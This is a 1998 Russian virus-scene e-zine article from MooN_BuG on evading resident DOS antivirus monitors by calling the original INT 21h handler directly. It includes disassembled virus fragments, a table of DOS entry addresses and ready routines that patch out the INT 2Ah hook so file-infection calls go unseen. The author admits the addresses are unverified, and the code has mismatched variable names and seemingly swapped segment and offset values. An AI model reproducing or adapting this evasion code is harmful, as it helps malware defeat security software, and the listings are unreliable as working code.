[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 002

           ОБХОД РЕЗИДЕНТНЫХ АНТИВИРУСНЫХ МОНИТОРОВ
                    ПРЯМЫМ ОБРАЩЕНИЕМ К ДОС
                                                     by DrMad


ВВЕДЕНИЕ
1.   ОПРЕДЕЛЕНИЕ АДРЕСА ОРИГИНАЛЬНОГО ОБРАБОТЧИКА ДОС
1.1. МЕТОД ТРАССИРОВКИ
1.2. ЭКЗОТИЧЕСКИЕ МЕТОДЫ
1.3. МЕТОД ПРЕДОПРЕДЕЛЕННЫХ АДРЕСОВ
2.   БОРЬБА С АНТИВИРУСНЫМИ МОНИТОРАМИ
2.1. ОПИСАНИЕ РАБОТЫ АНТИВИРУСНОГО МОНИТОРА
2.2. КОНСТРУИРОВАНИЕ НЕОТСЛЕЖИВАЕМОГО ОБРАЩЕНИЯ К ДОС
2.3. ПРИМЕР РЕАЛИЗАЦИИ
ЗАКЛЮЧЕНИЕ
ЛИТЕРАТУРА

                           ВВЕДЕНИЕ

    Обычно все  "нормальные"  программы  используют сервис ДОС
так:

    mov  ah, ...
    int  21h

    По команде int управление передается в точку,  адрес кото-
рой определяется двумя словами,  размещающимися в таблице век-
торов прерываний,  начиная с адреса 0 :  84h.  С этого момента
начинают исполняться многочисленные команды многочисленных об-
работчиков прерывания int 21h многочисленных резидентных прог-
рамм до тех пор,  пока управление, наконец, не передается ори-
гинальному обработчику, принадлежащему операционной системе:

    Программа -> Обраб. 1 -> Обраб. 2 ->...  -> Обраб. ДОС

    Разумеется, среди этих многочисленных  обработчиков  может
затесаться обработчик, принадлежащий антивирусному монитору. А
это, блин,  такой мерзкий тип,  который не дает спокойно рабо-
тать не только вирусам, но и подчас обычнымм программам.

    Поэтому "продвинутые" вирусы и некоторые "умные" программы
пытаются определить адрес оригинального  обработчика  и  обра-
титься к нему напрямую, в обход остальных обработчиков:

    Программа ┐  Обраб. 1 -> Обраб. 2 ->...  ┌> Обраб. ДОС
              └──────────────────────────────┘

    Делается это примерно так:

    mov  ah, ...
    pushf
    call dword ptr O21
    ...
O21 dw   ?
S21 dw   ?

    Но коварные  антивирусные  мониторы  учитывают эту возмож-
ность и предпринимают свои злодейские меры.

     1. ОПРЕДЕЛЕНИЕ АДРЕСА ОРИГИНАЛЬНОГО ОБРАБОТЧИКА ДОС

    Для того,  чтобы  обратиться  к ДОС напрямую,  нужно знать
адрес оригинального обработчика.  Получить этот адрес  не  так
просто.

                    1.1. МЕТОД ТРАССИРОВКИ

    Чаще всего используется метод трассировки при помощи отла-
дочного прерывания Int1.  Например, так поступал много лет на-
зад вирус Yankee 2C ( M2C,  Музыкальный ). Вот комментированый
листинг соответствующего фрагмента:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Дизассемблировано и комментировано (с) DrMad           ;;
;; ( не значимые для понимания фрагменты алгоритма        ;;
;; пропущены )                                            ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

................ [ порезано ] .............................

; Берем из таблицы векторов текущий адрес Int01
        mov   ax,3501
        int   21h
        mov   si,bx ; смещение сохраняем в si
        mov   di,es ; сегмент сохраняем в di

................ [ порезано ] .............................

; Устанавливаем свой обработчик Int01
        mov   ax,2501h
        mov   dx,offset Int01
        int   21h
; Формируем в стеке адреса выхода из трассировки
; так, чтобы по iret из 21h попаcсть сразу на Next

................ [ порезано ] .............................

        pushf         ; Флаги

................ [ порезано ] .............................

; К этому моменту ax = offset Next
        push  cs      ; Сегмент точки выхода
        push  ax      ; Смещение точки выхода (offset Next)
        cli
; Манипулируем с битом Т в регистре флагов
        pushf         ; Сохраняем флаги в стеке
        pop   ax      ; Выгружаем их в ax
        or    ax,100h ; Устанавливаем в ax бит Т
        push  ax      ; Сохраняем флаги с битом T=1 в стеке

................ [ порезано ] .............................

; Сейчас cs:ax содержит адрес текущего  обработчика Int21
        push  cs      ; Сегмент точки перехода
        push  ax      ; Смещение точки перехода
        iret          ; Фактически, Int21h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;                     Обработчик Int01                   ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Int01:
                      ; В этот момент в стеке:
                      ;  ss:[bp+6] флаги
                      ;  ss:[bp+4] cs
                      ;  ss:[bp+2] ip
        push  bp
                      ;  ss:[bp]   bp
        mov   bp,sp
;
        cmp   byte ptr cs:data_50e,1 ; Флаг продолжения = 1 ?
        je    loc_64                 ; Да - продолжаем
loc_63:                              ; Нет - кончаем
        and   word ptr [bp+6],0FEFFh ; В флагах бит T := 0
        mov   byte ptr cs:data_50e,0 ; Флаг продолжения := 0
        pop   bp
        iret                         ; Выходим из обработки
loc_64:
        cmp   word ptr [bp+4],300h ; cs в стеке < 300h ???
        jb    loc_65               ; Да - дошли до ДОС
        pop   bp                   ; Нет - трассируем далее
        iret                       ;
loc_65:
        push  bx
        mov   bx,[bp+2]            ; Берем из стека ip ДОС
        mov   cs:data_38e,bx       ; Сохраняем
        mov   bx,[bp+4]            ; Берем из стека cs ДОС
        mov   word ptr cs:data_38e+2,bx ; Сохраняем
        pop   bx
        jmp   short loc_63         ;
; Фрагмент восстановления из трассировки
Next:
        mov   byte ptr ds:data_50e,0 ; Флаг продолжения = 0
; Восстанавливаем прежнее значение Int01
        mov   ax,2501h
        mov   dx,si
        mov   ds,di
        int   21h

    В настоящее время этот алгоритм  можно  считать  несколько
устаревшим. Дело в том, что современные весии ДОС могут разме-
щать свой обработчик в областях верхней памяти.  Поэтому усло-
вие окончания трассировки должно выглядеть например так:

        cmp   word ptr [bp+4],300h
        jb    loc_65
        cmp   word ptr [bp+4],0f000h
        ja    loc_65

    Как вариант,  возможно  использование  следующего  приема.
Сначала определяется  "родной"  сегмент ДОС при помощи недоку-
ментированной функции 52h ( возвращает адрес List of Lists ):

        mov   ah, 52h
        int   21h
        mov   SegDOS, es

    Тогда условие завершения трассировки можно оформить следу-
ющим образом:

        push  ax
        mov   ax, cs: SegDOS
        cmp   word ptr [bp+6], ax
        pop   ax
        jz    loc_65

    Разумеется, разные  приемы  могуть дать разные результаты.
Причем все результаты можно считать в той или иной мере  "пра-
вильными". Дело в том, что современные версии ДОС, даже будучи
загружены в верхнюю память,  всегда имеют точку входа в нижней
памяти вида:

        nop
        nop
        call  Check_A20            ; Проверка адресной линии
        jmp   cs: dword ptr HI_DOS ; Переход в верхнюю память

    С точки зрения обхода резидентных  мониторов  "самым  пра-
вильным" следует  признать  адрес  в обработчике ДОС,  имеющий
максимальное значение.  Мы еще вернемся к вопросу о нахождении
"правильного адреса" далее.

    Авторы антивирусных  мониторов знают о подобном приеме по-
иска оригинального адреса ДОС.  Достаточно легко обломит трас-
сировку,  например,  вот  такой  вот  фрагмент,  встроенный  в
цепочку обработчиков (идея Ю. Косивцова) :

        pop   ss    ; Сбивает трассировку на 1 шаг !
        int   60h
        nop         ; Сюда должно вернуться прерывание
        nop         ; Сюда оно реально вернется,
                    ; и флаг трассировки будет сброшен
        ........
Int60:
        sti
        push  bp
        mov   bp, sp
        add   [bp+2], 1 ; Изменяем в стеке адрес возврата
        pop   bp
        retf  2

       Кроме того,  факт  трассировки  можно достаточно просто
обнаружить, использовав хорошо известный  разработчикам  защит
от несанкционированного копирования прием аппаратного конвейе-
ра:

        mov   Metka, 9090h
Metka:  jmp   NoTrace
Trace:
        ........
NoTrace:
        ........

    Наконец, тот  же  Ю.  Косивцов забивает последний гвоздь в
гроб идеи использовать трассировку:

    "Выставленный флаг трассировки можно выявить косвенно, за-
маскировав аппаратные прерывания,  поместив в [SP-1] контроль-
ное значение и дав инструкцию STI.  Тогда по изменению слова в
стеке можно судить, было трассировочное прерывание или нет."

    Выявив факт  трассировки  ДОСовского прерывания,  мониторы
начинают кричать,  вопить,  брызгать слюнями... короче, только
самый тупой юзырь не догадается,  что кто-то (например, вирус)
пытается залезть в систему.

                   1.2. ЭКЗОТИЧЕСКИЕ МЕТОДЫ

    Таких методов немало,  но все они сопряжены с техническими
трудностями.  Тем не менее, кратко остановимся на некоторых из
них.

    И. Данилов ( файл virlist.web ):

    "MTZ.PinkPanther.4510, MTZ.PinkPanther.5081.  Очень остро-
умно определяют оригинальный адрес обработчика INT 21h, перех-
ватив  INT  6 и "забив" ядро DOS байтами 0FFh,  предварительно
скопировав данное ядро в область UMB."

    Поясним, что  INT  6  автоматически вызывается при попытке
процессора выполнить "нестандартную" команду.  Перехватив  это
прерывание, вирус извлекает из стека адрес (CS и IP) той точки
памяти,  которая раньше принадлежала ДОС и куда  в  результате
передалось управление. А ДОС "временно вышел погулять". ;-)

    Возможна модификация этой идеи, заключающаяся в следующем:
область ДОС-памяти забивается не кодом 0FF,  а кодом 0CC ( это
однобайтовый  вариант  команды  IТЕ 3 ).  Перехватывать в этом
случае нужно именно 3-е прерывание, а дальше все аналогично.

    Интересный прием поиска оригинального адреса Int21 родился
в результате проводимого в 1994 году на страницах журнала "Мо-
нитор" конкурса короткого кода. Он основан на следующем факте:
недалеко от точки входа в оригинальный обработчик ДОС находит-
ся  вызов  прерывания 2A (байты CD 2A).  Зная структуру начала
оригинального обработчика,  ( например,  то,  что недалеко  от
точки  входа  имеются  команды mov ah,  cl / jmp short xxxx ),
можно найти эту точку входа. Фрагмент поиска:

      mov   ah, 52h                   ; Возвращает адрес
      int   21h                       ; List Of Lists
      mov   bx, word ptr cs:[bx+4]
      lds   bx, dword ptr es:[bx-4]
LoopF:
      dec   bx
      cmp   word ptr ds:[bx-4], 0E18Ah
      jne   LoopF

    Вопрос из  зала:  а  в МСДОС версии 7 работать будет?  А в
ДРДОС? А в Физтех-ДОС ? Ответ - не знаю, проверьте !

             1.3. МЕТОД ПРЕДОПРЕДЕЛЕННЫХ АДРЕСОВ

    И тут мы переходим к методу определения оригинального  ад-
реса точки входа в ДОС, основанному на том, что эти адреса для
разных версий и конфигураций ДОС имеют в общем случае  различ-
ные значения, но число их ограничено.

    А это значит,  что их можно просто-напросто выбирать из не
особенно большой таблицы - voila!

    Прием также не новый, но незаслуженно забытый. Пример (ви-
рус Terror.1085):

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Дизассемблировано и комментировано (с) DrMad           ;;
;; ( не значимые для понимания фрагменты алгоритма        ;;
;; пропущены )                                            ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
d_108   dw      17D0h
............ [ порезано ] ............................
d_10C   dw      0F7Ah
............ [ порезано ] ............................
loc_7:
        mov  ah,30h   ; Запросить  код
        int  21h      ; версии ДОС
        mov  bx,102h
        cmp  ax,0A03h ; Это 3.10 ?
        jne  loc_8    ; Нет - идем дальше
        mov  ax,70h   ; Сегмент = 70h
        mov  bx,0D43h ; Смещение = 0D43h
        mov  es,ax
        cmp  byte ptr es:[bx],2Eh ; Правильный байт = 2Eh ?
        jne  loc_9                ; Нет - значит а/в монитор
        mov  ax,bx                ;
        jmp  short loc_10         ; На заполнение адреса
loc_8:
        add  bx,4
        cmp  ax,1403h ; Это 3.20 ?
        je   loc_9    ; Да - на loc_9
        add  bx,4     ; Нет - идем дальше
        cmp  ax,1E03h ; Это 3.30 ?
        je   loc_9    ; Да - на loc_9
                      ; Нет - фрагмент возмездия :-(((
............... [ порезано ] ............................
loc_9:
        mov  ax,cs:[bx+2] ; Смещение точки входа из таблицы
                          ; cs:108h или cs:10Ch
loc_10:
        mov  dx,cs:[bx]
        mov  cs:data_18,ax  ; Смещение
        mov  cs:data_19,70h ; Сегмент = 70h

    Имея программу,  основанную на одном  из  ранее  описанных
способов определения реального адреса обработчика ДОС,  загру-
зочные дискеты с разными версиями  ДОС  и  немножко  терпения,
можно получить примерно вот такую информацию.

    Оригинальный обработчик ДОС версии 3.30 всегда  имеет вид:

     2E            CS:           ; <- Точка 0
     891EB800      MOV [00B8],BX ;
     2E            CS:           ;
     8C06BA00      MOV [00BA],ES ;
     CB            RETF          ;
     ...............................

     2E        CS:               ; <- Точка 1
     3A26FF0D  CMP     AH,[0DFF] ; Проверка на max
     77DC      JA      1443      ;
     80FC51    CMP     AH,51     ;
     74A1      JZ      140D      ;
     .......................     ;
     80FC64    CMP     AH,64     ;
     74BA      JZ      143A      ;
                                 ; <- Точка 2

    Оригинальные обработчики ДОС версий 5.0 - 7.0 очень  похо-
жи. В общем случае они состоят из следующих фрагментов:

    Фрагмент 1 (если он присутствует) всегда  располагается  в
нижних адресах памяти.  Большинство алгоритмов трассировки за-
канчивают работу,  достигнув этой точки.  Для ДОС версий 5.0 -
6.22  этот  фрагмент  имеется,  если в CONFIG.SYS присутствует
строка DOS=HIGH вне зависимости от того,  наличествует ли  за-
пуск поддерживающего эту опцию драйвера HIMEM.SYS.  Если драй-
вера нет, то JMP FAR просто указывает на фрагмент 2, размещаю-
щийся в нижних областях памяти.  Если строки DOS=HIGH нет,  то
фрагмент 1 вырожден (состоит из одной команды внутрисегментно-
го перехода), и обработчик состоит из фрагмента 2.

     90        NOP                 ; <- Точка 0
     90        NOP                 ;
     E8CC00    CALL    CheckA20    ;
     2E        CS:                 ;
     FF2E6A10  JMP     FAR NEXTDOS ;

    Фрагмент 2 может располагаться как в верхних, так и в ниж-
них адресах памяти (см. выше).

NEXTDOS:
     FA        CLI                 ; <- Точка 1
     80FC6C    CMP     AH,6C       ; Проверка на Max
     77D2      JA      40D0        ;
     ......................        ;
     80FC50    CMP     AH,50       ;
     748E      JZ      40A9        ;
                                   ; <- Точка 2

    Для ДОС 7.0 структура обработчика в-общем такая же, за ис-
ключением того,  что фрагмент 1 присутствует всегда, вне зави-
симости от содержимого  файла  CONFIG.SYS.  По  крайней  мере,
автору не удалось принудительно загрузить ДОС 7.0 в нижние об-
ласти памяти.

    Теперь приведем конкретные  значения  адресов,  полученные
для разных случаев (2 раза проверял, но в правильности адресов
все еще не уверен):

                   ДОС 7.0 (русская версия)

                   Точка 0  00C9:0FB2 9090
                   Точка 1  FF03:41E7 80FA
                   Точка 2  FF03:420A 1E06
                   Точка 2А FF03:5333 2ACD

                           ДОС 6.20
                       device=himem.sys
                           dos=high

                   Точка 0  0123:109E 9090
                   Точка 1  FDC8:40F8 80FA
                   Точка 2  FDC8:411B 1E06
                   Точка 2A FDC8:41D1 2ACD

                           ДОС 6.20
                           dos=high

                   Точка 0  0123:109E 03EB
                   Точка 1  03AC:40F8 80FA
                   Точка 2  03AC:411B 1E06
                   Точка 2A 03AC:41D1 2ACD

                           ДОС 6.20

                   Точка 1  002A:40F8 80FA
                   Точка 2  002A:411B 1E06
                   Точка 2A 002A:41D1 2ACD

                           ДОС 5.0
                       device=himem.sys
                           dos=high

                   Точка 0  0123:109E 9090
                   Точка 1  FDC8:40EB 80FA
                   Точка 2  FDC8:410E 1E06
                   Точка 2A FDC8:41C4 2ACD

                           ДОС 5.0
                           dos=high

                   Точка 0  0123:109E 03EB
                   Точка 1  03AC:40F8 80FA
                   Точка 2  03AC:411B 1E06
                   Точка 2A 03AC:41D1 2ACD

                           ДОС 5.0

                   Точка 1  002A:40EB 80FA
                   Точка 2  002A:410E 1E06
                   Точка 2A 002A:41D1 2ACD

                           ДОС 3.30

                   Точка 0  0070:05DC 892E (0F7A ???)
                   Точка 1  0294:1460 3A2E
                   Точка 2  0294:1480
                   Точка 2A 0294:151B 2ACD

                           ДОС 3.10 (см. Террор)

                   Точка 0  0070:0D43

                           ДОС 3.20 (см. Террор)

                   Точка 0  0070:17D0

    Точка 2 - это "оптимальная точка",  т.е.  точка, в которую
целесообразней всего  передавать управление с целью обхода ре-
зидентных антивирусных мониторов.  Точка 2A - это позиция  ко-
манды INT  2Ah,  которую  ДОС обязательно выполняет в процессе
обработки 21-го прерывания (пригодится нам позже).

    В конце каждой строки приведены "контрольные" слова на тот
случай, если по указанному адресу находится нечто иное.

             2. БОРЬБА С АНТИВИРУСНЫМИ МОНИТОРАМИ

    К сожалению,  современные антивирусные мониторы умеют отс-
леживать факт прямого обращения программы с ДОС.

         2.1. ОПИСАНИЕ РАБОТЫ АНТИВИРУСНОГО МОНИТОРА

    Ю. Косивцов: "Однако защиту 21-го прерывания можно органи-
зовать более эффективно,  используя метод встраивания  в  ядро
операционной системы.  Обычно это делается по следующей схеме:
в точку входа INT 21h записывается инструкция JMP FAR для  об-
работчика, кторый проверяет номер функции на безопасность, по-
том восстанавливает на нее точку входа INT 21h и  делает  CALL
FAR на нее.  После возврата управления в точку входа ДОС опять
записывается инструкция JMP FAR и управление передается  прог-
рамме, которая вызвала INT 21h."

    Здесь по сути дела описан обычный сплайсинг, который широ-
ко применяется в узких вирмерских кругах. :-) Отметим, что для
перехода не обязательно использовать JMP FAR ( который занима-
ет 5 байтов в памяти и не всюду его можно воткнуть),  а напри-
мер,  можно просто INT 3,  который занимает всего 1 байт. Зато
непременно требуется обработка вызовов с кодами 0,  4Ch, 31h (
которые не возвращают управление в исходную точку ),  а так же
самовызовов ( при завершении процессов посредством INT  27h  и
INT  20h).  Пример  использования сплайсинга можно найти в 1-м
выпуске электронного журнала Infected Voice.  К сожалению, это
описание также страдает неполнотой.

    Продолжаем следить за мыслью Ю.  Косивцова: "Первый компо-
нент [антивирусного монитора] встраивается в ядро ДОС,  а вто-
рой  просто  перехватывает  цепочку  21-го  прерывания.  Когда
програма выполняет инструкцию INT 21h,  управление  передается
второму  компоненту.  Он  может  сделать проверки на опасность
функции,  затем выставить переменную "проход цепочки" и  пере-
дать управление дальше. При получении управления первым компо-
нентом он проверяет переменную  "прохода  цепочки".  Если  она
выставлена, то была инструкция INT 21h, надо сбросить перемен-
ную "проход цепочки" и передать управление ДОС.  Если перемен-
ная сброшена,  то вызов пришел напрямую и надо принимать меры:
скорее всего, это действие вируса."

    Эта идея настолько проста и эффективна,  что  ее  варианты
используют  почти все (известные автору) более-менее продвину-
тые антивирусные мониторы. Пример ( по LovinGOD'у ):

    "Оттрассировав DOS, я обратился к DOS по оригинальному ад-
ресу. AVPTSR перехватил обращение. В чем дело? AVPTSR перехва-
тывает INT 2Ah,  которое обязательно  вызывается  из  INT  21h
(совсем недалеко от начала)...  Обработчик INT 8, то есть тай-
мера,  периодически восстанавливает вектор 2Ah ,  если  кто-то
его отрубил."

    Имеется в виду,  что флажок прохода цепочки 21-го прерыва-
ния проверяется в обработчике INT 2A.

    2.2. КОНСТРУИРОВАНИЕ НЕОТСЛЕЖИВАЕМОГО ОБРАЩЕНИЯ К ДОС

    Сначала ответим сами себе на вопрос: а нафига? Неужели ан-
тивирусные мониторы настолько "бЗдительны",  что сводят на нет
любые попытки,  например, открыть на запись EXE- или СОМ-файл?
Да, это так и есть.

    Итак, мы можем видеть,  что авторы антивирусных  мониторов
имеют достаточно эффективных средств, чтобы предотвратить пря-
мое обращения к ДОСу со стороны вирусов.

    Снова дадим слово Ю.  Косивцову: "Для обнаружения действия
нерезидентных  вирусов необходимо контролировать вызов функций
ДОС с номерами: 3Dh - открытие файла через описатель, 0F - от-
крытие  файла через FCB и 5Dh,  подфункция 0 - косвенный вызов
ДОС.  Если при открытии файла обнаружено,  что расширение  его
СОМ,  ЕХЕ  или SYS,  то можно выдавать предупреждающее сообще-
ние."

    Список выглядит слишком коротким. Действительно, а если мы
сперва переименуем программный файл?  А почему не учтена функ-
ция 6Ch (Расширенное Открытие Файла)? А что будет, если мы от-
кроем файл на чтение, а потом изменим режим доступа прямым об-
ращением к SFT?

    Не надо считать авторов антивирусных мониторов  совсем  уж
тупыми.  Просто они никогда не открывают всех своих профессио-
нальных секретов. Например, AVPTSR прекрасно знает и учитывает
вышеперечисленные хитрости.

    Итак, "заложимся на пятого туза" и предположим,  что гипо-
тетический антивирусный супермонитор:

    - отслеживает и блокирует попытки оттрассировать 21-е пре-
рывание;
    - для контроля "опасных" номеров  функций  ДОС  использует
сплайсинг и встраивается в начало обработчика ДОС;
    - для предотвращения прямого обращения  к  ДОС  использует
флажок, сбрасываемый либо во "врезанном фрагменте",  либо (что
более круто) в обработчике прерывания 2А.

    Первая проблема достаточно просто решается с использовани-
ем "метода предопределенных адресов".

    Для решения  второй проблемы проанализируем возможное мес-
тоположение в обработчике ДОС точки перехода  на  антивирусный
монитор.  Из  самых  простых рассуждений видно,  что это может
быть точка 0,  либо точка 1.  Как самый крутой  вариант  можно
предположить,  что врезка происходит в точку,  непосредственно
следующую за командой "Проверка на Max".  Далее обработчик ДОС
растекается  на многочисленные ручейки,  поэтому автор антиви-
русного монитора врядли решится отслеживать их все по  отдель-
ности.  По  крайней мере,  обработчики функций 0Fh,  3Dh и 5Fh
располагаются в разных ручейках. Но нам может помочь тот факт,
что мы будем использовать ограниченный набор функций,  и жела-
тельно,  чтобы все они размещались в одном ручейке. И - о уда-
ча!  - функции 3Сh - 43h, отвечающие за создание-открытие-зак-
рытие-чтение-запись-атрибуты-перемещение действительно  распо-
лагаются в одном общем - главном ручейке. Это дает нам возмож-
ность использовать в качестве адреса для прямого  обращения  к
ДОС - адрес точки 2. Сюда-то монитор хрен доберется! :-)

    Третья проблема  также  не  вызывает трудностей.  LovinGod
предлагает замаскировать прерывания таймера и  изменить вектор
8-го прерывания перед прямым обращением к ДОС.  Вместо измене-
ния вектора можно попробовать также вставку команды IRET в на-
чало  текущего  (антивирусного) обработчика.  Мы же попытаемся
использовать все тот же метод "предопределенных адресов". Зная
положение команды INT 2Ah в обработчике ДОС,  перед прямым об-
ращением к ДОС просто "забъем" этот вызов двумя командами NOP.

                    2.3. ПРИМЕР РЕАЛИЗАЦИИ

    Реализуем две подпрограммы, которые могут быть использова-
ны для прямого обращения к ДОС.

    Подпрограмма SetAdr предназначена определения адреса обра-
ботчика ДОС методом предопределенных адресов.  Для версий ДОС,
для которых "правильный адрес" неизвестен,  используется стан-
дартный способ определения адреса.

    Подпрограмма CallDOS предназначена для прямого обращения к
ДОС. Дабы  не возникало соблазна использовать эту подпрограмму
для вызова "безопасных" функций,  в код включена  проверка  на
номер функции.  Для  "безопасных" функций предусмотрен обычный
вызов ДОС при помощи команды INT 21h.

    ;
    ; Процедура установки адреса
    ; (Один из самых коротких, хотя и подозрительных
    ; вариантов реализации)
    ;
    SetAdr proc near
           mov  si, offset Table
           mov  es, [si]
           mov  bx, [si+2]
    Next:
           cmp  es:[bx], 2ACDh
           jnz  Skip
           mov  Ofs2A, bx
           mov  Seg2A, es
           mov  ax, [bx+3]
           mov  Seg21, ax
           mov  ax, [bx+4]
           mov  Ofs21, ax
    Skip:
           add  bx, 4
           cmp  [bx], 0
           jnz  Next
    ;
           mov  ax, 3521h
           int  21h
           mov  Ofs21, bx
           mov  Seg21, es
    Done:
           ret
    ;           Позиция Int2A  Оптимальная точка
    Table  dw   0FF03h, 5333h, 0FF03h, 420Ah
           dw   0FDC8h, 41D1h, 0FDC8h, 411Bh
           .................................
           dw   0
    SetAdr endp
    ;
    ; Процедура прямого обращения к ДОС
    ;
    CallDOS proc near
           cmp  ah, 3Bh
           jb   Trivial
           cmp  ah, 42h
           ja   Trivial
    ; Убиваем вызов 2А
           push es
           push ax
           push bx
           mov  es, cs:Ofs2Ah
           mov  bx, cs:Seg2Ah
           mov  ax, es:[bx]
           mov  cs: Save, ax
           mov  es:[bx], 9090h
           pop  bx
           pop  ax
           pop  es
    ; Обращаемся к ДОС
           pushf
           call cs:dword ptr Ofs21
    ; Восстанавливаем вызов 2А
           push es
           push ax
           push bx
           mov  es, cs: Ofs2Ah
           mov  bx, cs: Seg2Ah
           mov  ax, cs: Save
           mov  es:[bx], ax
           pop  bx
           pop  ax
           pop  es
    ;
           ret
    ; Обычное обращение к ДОС
    Trivial:
           int  21h
           ret
    ;
    Save   dw   ?
    Ofs21  dw   ?
    Seg21  dw   ?
    Ofs2A  dw   ?
    Seg2A  dw   ?
    ;
    CallDOS endp

                          ЗАКЛЮЧЕНИЕ

    Вдумчивый читатель спросит:  нафига так длинно?  А  адреса
правильные? А почему процедуры так дубово написаны?

    Отвечу: дык, основная цель этой статьи - пробудить у чита-
теля интерес.  Чтобы ему, бездельнику этакому, захотелось про-
верить результаты и использовать их.

    Поэтому, если  обнаружите неточность или ошибку - считайте,
что статья своей цели достигла. Вот вам уже и интересно... ;-)

                                                (с) DrMad, 1998

                          ЛИТЕРАТУРА

    1. Ю.  Косивцов.  Двухкомпонентная   антивирусная   система.
// Монитор, 3/93 - 48-52.

    2. Ю.  Косивцов.   Конструирование   антивирусного  сторожа.
// Монитор, 2/94  - С. 70-79.

    3. LovinGOD. Описание AVP (Anti-Virus Pro) Касперского.
// Infected Voice #7.

    4. IntMaster. Классический сплайсинг на примере INT 21h.
// Infected Voice #7.

    5. И. Данилов. Virlist.VEB к DrWeb v3.27.